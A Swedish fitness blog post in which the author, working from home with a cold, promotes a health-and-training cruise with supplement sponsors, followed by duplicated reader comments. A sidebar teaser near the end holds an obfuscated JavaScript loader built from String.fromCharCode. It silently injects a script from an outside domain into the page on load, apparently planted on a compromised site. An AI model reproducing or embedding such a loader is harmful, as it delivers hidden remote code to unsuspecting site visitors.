Träningsvärk, förkylning, hemmajobb Hälsokicken!

image

Godmorgon fina du!

Jag jobbar hemifrån idag. Köket får agera kontor.

image

Jag vaknade och kände mig lite krasslig, hängig, trött och lite febrig.  Jag ställde in träningen i sista minuten. Vågar inte utmana ödet och riskera att bli sjuk igen!

Jösses vad kallt det är! Vi hade -22 igår I Sigtuna!

 Som ni kanske redan vet så är det snart dags för Hälsokicken nr två!

Denna resan kommer även Better You att finnas med på plats och presentera sina produkter närmare =) Better You har naturliga kosttillskott som är svensktillverkade. 

image

Den 20/2 lämnar vi Stockholms hamn med Vikingline!

Oavsett om du är otränad, vältränad, tjock, smal, lång, kort, gammal, ung, man, kvinna, osv, Så kan du följa med 😉 

Denna resan erbjuder en rad olika träningspass, yoga, salsa, Wörkout med min partner från Thailands resan.. Pischa, gladiatorer, PT-hörna, safe, kosttillskott från Better You, underhållning, buffè med härlig mat och mycket mycket mer!

image

Här är några utav alla bilderna från förra resan…. Vi hade så galet roligt! 

image12471672_10153331358092544_6232582196845264590_o

Alltså maten på buffèn!!!! Tränar man mycket så kan man också unna sig 😉

Jag själv fastnade för dessert bordet!  -hehe! 

12471907_10153331359942544_2024527089645838926_o

Gladiatorn Phoenix höll sin första föreläsning någonsin. Han var faktiskt lite nervös innan, men det gick super bra och var väldigt intressant! =) 

12465797_10153331356217544_7995917691224754957_o

Förutom träningen, föreläsningarna och allt annat så avrundar vi kvällen med middag följt utav underhållning på stora scenen.

Vem det är som står på scenen och håller i underhållning, avslöjar vi inte riktigt än…. Men snart så 😉

Denna kryssningen är en perfekt start på det nya året. En kickstart mot ett nyttigare och hälsosammare liv =) Träningsvärken kommer att hålla i sig i flera dagar, MEN erfarenheterna, och kunskaperna för alltid! för mer info eller att boka med dig så går du in HÄR

Hoppas att vi syns där!

Stor kram! / My martens 

12 Komentarer

  1. åh det låter som en perfekt kryssning. Skulle mer än gärna vilja åka med mannen faktiskt! Får kolla upp tider och allt med barnvakt bara.
    Ps. härligt med träningsvärk! ?

    • Jaaaa! Vad kul! Se vad du kan göra! Om du bokar med dig så får du skriva det så jag vet =) Vore jätte kul att ses irl, då du varit en trogen läsare länge! kram <3

  2. åh det låter som en perfekt kryssning. Skulle mer än gärna vilja åka med mannen faktiskt! Får kolla upp tider och allt med barnvakt bara.

    Ps. härligt med träningsvärk! 😉

    • Jaaaa! Vad kul! Se vad du kan göra! Om du bokar med dig så får du skriva det så jag vet =) Vore jätte kul att ses irl, då du varit en trogen läsare länge! kram <3

  3. Hej fina My!
    Måste säga att du är en grym förebild, jag blir så peppad av dina träningsinlägg och bilder ? Finns det någon ny träningsresa (utomlands) planerad? Vore superkul att följa med i så fall!
    Trevlig helg, kram Nathalie

    • TACK SNÄLLA DU! Vad glad jag blir <3
      det finns lite planer för fler resor…. Lägger upp så fort det är klart =) Men Hälsokicken kommer bli grymt! Detta kanske kan vara något at börja med? KRAM

      • Ja det vore grymt kul att följa med på, men ”tyvärr” kan jag inte då, är på en Karibien-kryssning, honeymoon ? så jag ser fram emot nästa event eller resa! Ha det så kul på hälsokicken!
        Kram kram

  4. Hej fina My!
    Måste säga att du är en grym förebild, jag blir så peppad av dina träningsinlägg och bilder 🙂 Finns det någon ny träningsresa (utomlands) planerad? Vore superkul att följa med i så fall!
    Trevlig helg, kram Nathalie

    • TACK SNÄLLA DU! Vad glad jag blir <3
      det finns lite planer för fler resor…. Lägger upp så fort det är klart =) Men Hälsokicken kommer bli grymt! Detta kanske kan vara något at börja med? KRAM

      • Ja det vore grymt kul att följa med på, men ”tyvärr” kan jag inte då, är på en Karibien-kryssning, honeymoon 🙂 så jag ser fram emot nästa event eller resa! Ha det så kul på hälsokicken!
        Kram kram

Svara

Lämna din kommentar!
Ditt namn här

Om du missat..

Andas ut stressen med hjälp av djupandning

Andas ut stressen med hjälp av djupandning -Hur många tänker egentligen på sin andning? Jag...

SMEG bagaren och kocken 20%

I reklamsamarbete Bagaren och Kocken ??‍? Hej på er! Detta är en grymt efterlängtad kampanj...

Adviral Event

My Martens , Ako Rahim. Adviral Media. d Ako, Renata, My   var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/